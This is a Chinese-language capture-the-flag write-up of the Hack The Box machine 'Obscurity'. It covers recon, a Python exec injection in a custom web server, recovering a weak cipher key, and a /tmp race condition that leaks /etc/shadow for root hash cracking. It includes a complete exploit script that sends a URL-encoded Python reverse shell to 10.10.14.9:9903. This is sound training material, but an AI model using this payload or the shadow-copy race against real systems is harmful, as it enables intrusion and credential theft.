Set up
目标机器在 10.10.10.168
.
Recon
Nmap
# Nmap 7.80 scan initiated Tue Apr 28 03:28:16 2020 as: nmap -A -T4 -p- -v -oN nmap.txt 10.10.10.168
adjust_timeouts2: packet supposedly had rtt of -935420 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -935420 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1170053 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -1170053 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -3949760 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -3949760 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -2536185 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -2536185 microseconds. Ignoring time.
Nmap scan report for 10.10.10.168
Host is up (0.25s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 28 Apr 2020 07:41:07
| Server: BadHTTPServer
| Last-Modified: Tue, 28 Apr 2020 07:41:07
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=4/28%Time=5EA7DDB2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2028\x20Apr\x2020
SF:20\x2007:41:07\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue,\x2028\
SF:x20Apr\x202020\x2007:41:07\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Tue,\x2028\x20Apr\x202020\x2007:41:07\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Tue,\x2028\x20Apr\x202020\x2007:41:07\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 2.6.X (92%), HP embedded (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 2.6.18 - 2.6.22 (92%), HP P2000 G3 NAS device (86%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 11.429 days (since Thu Apr 16 17:23:14 2020)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 237.05 ms 10.10.14.1
2 254.40 ms 10.10.10.168
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 28 03:40:28 2020 -- 1 IP address (1 host up) scanned in 732.47 seconds
开放了 22
和 8080
端口。
Enumeration
查看 8080
端口网站。
这里说有一个秘密的 development
目录,里面有服务端代码。
但是报错了
Directory Enumeration
用了 gobuster
,dirsearch
,dirbuster
,都没有找到任何结果。
搜索 pentest webapp enumerate directory
,一直看看看,直到看到 这篇文章,我看到了一个新工具 wfuzz
。
鼓捣了好一会儿,运行起来。
很快找到了隐藏路径 /develop
。
获取到 SuperSecureServer.py
的源码。
看源码。
看到了 exec
搜索 python exec exploit
第一篇文章 讲到了 exec
和 format
的漏洞。
想起了当年 code review
。
服务端代码主干流程:
listenToClient
接收到客户端数据,封装成Request
对象给handleRequest
handleRequset
取出访问路径 (request.doc
)传递给serveDoc
serveDoc
将路径和DocRoot
拼接,读取数据,返回数据
这个漏洞方法是 serveDoc
。可以看到方法原型是 serveDoc(self, path, docRoot)
在几个调用方法的地方,传入的第二个参数 docRoot
是常量,这里忽略。主要是 path
这个变量。
path
会被做一次字符串格式化,然后由 exec
执行。
这里可以注入任何命令。
扩展阅读
Python EXEC
先在 ipython shell
尝试一下,只要没有报错,说明就执行成功了。这跟 sql
注入相似。我们要构造一个程序给 exec
执行。
字符串是 output = 'Document:'
,首先把 Document
的部分做成完整的字符串(注意这个单引号要做转义 \'
),然后用 ;
号分隔,后面跟上我想要执行的命令,然后最后的引号部分用 #
注释掉。
最后结果是这样 \';print(1 + 2)#
输出了 3
,说明命令执行成功。
Foothold
注入一个 python reverse shell one liner
, 获得当前用户的 shell
。
直接在命令行注入不行,需要写一个 python
脚本。
pentestmonkey
找到 reverse shell
搜索 python make requests
接下,要在 url
中注入命令的部分有很多引号等特殊字符,这些都要编码才行。
搜索 python encode url
扩展阅读
Python Encode Url
一开始就能找到答案。
被 quote encode
之后的注入命令看起来是这样的
完整的脚本就能拼凑出来(写完之后我先用 localhost
做了测试)。
import requests
import urllib
import os
target = 'http://10.10.10.168:8080/'
raw_payload = '\';' + 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",9903));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);#'
payload = urllib.parse.quote(raw_payload)
greetings = target + payload
print("[*] Executing payload...")
print("[*] Payload - " + greetings)
requests.get(greetings)
拿到 shell
。
查看 passwd
文件可以知道有一个用户名 robert
。
Privilege Escalation
Robert
有几个文件是乱码,check.txt
说用 key
加密这个文件可以得到 out.txt
的结果。应该是要破解一些密码。
这是 SuperSecureCrypt.py
的源码
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
看完源码,意思就是要一个 key
,可以加密也可以解密。
encrypt(check.txt, key) = out.txt
,知道其三,求 key
。
源码中的 encrypt
方法,就是拿着明文的每一个字符的 ascii
,加上 key
的每一个字符的 ascii
,然后和 255
取模,得到加密字符。其中 key
是循环的,到最后一个字符,如果 key
的长度没有铭文长,就从头开始循环。
这是 key_hammer.py
源码
key = ''
with open('check.txt', 'r') as f_p:
plain_text = f_p.read()
print('plain text data:\n' + plain_text)
with open('out.txt', encoding='utf-8') as f_e:
enc_data = f_e.read()
print('encrypted data:\n' + repr(enc_data))
for idx, p in enumerate(plain_text):
for i in range(255):
decrypted = chr((ord(enc_data[idx]) - i) % 255)
if decrypted == p:
key += chr(i)
print('\n' + key)
最后获取到用户的加密 key
值 alexandrovich
。之前分析过 key
,只要明文的长度大于 key
,key
的每个字符会被循环使用。
robert
的家目录中有一个 passwordreminder.txt
,使用 key
加密过的。直接调用 SuperSecureCrypt.py
解密即可。
如图,即可登录 robert
的账户。
Root
用户可以使用 sudo
运行这个 BetterSSH.py
。
这是 BetterSSH.py
的源码
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
源码看完了就是一个用户输入,然后验证密码,最后开启管道与用户交互的过程。
其实这个机器太 CTF
了,不切实际。不过已经开始了还是要做完他。
看到 input
,这里应该是一个 bypass
密码验证的问题。
扩展阅读
Python Input Function Exploit
Python Input Vulnerability
Python2 vs Python3 in Security
读完第三篇文章,就知道不能利用 input
了。目标机器是 python3
,raw_input
已经变成了 input
,已经没有安全问题。
那就是这里,刚才注意到这个程序会往 /tmp
里面写 passwd
文件。
但是只要密码错了,后面会去删除这个临时文件。
想个办法在程序运行时复制一份这个文件即可。
创建一个名字任意的文件夹 (我这里是 passwd
),然后写一个循环不停尝试复制 SSH
文件夹里的内容到 passwd
就可以了。
while true; do cp ./SSH/* ./passwd; done;
运行起来会一直报错,但是不管,因为程序还没有去创建文件。
另一个 shell
去运行 BetterSSH.py
即可。
用户输入 root
,密码随便输入,然后我看到了 passwd
的临时文件。root
的 hash
就在文件里。
最后一步,JTR
破解密码。
奔驰 😂
I'm in...
小问题
直接运行 BetterSSH.py
运行报错了,看资料好像还是权限的问题,但是 robert
是由权限运行这个程序的。
再尝试了一下用绝对路径运行
就没有报错了。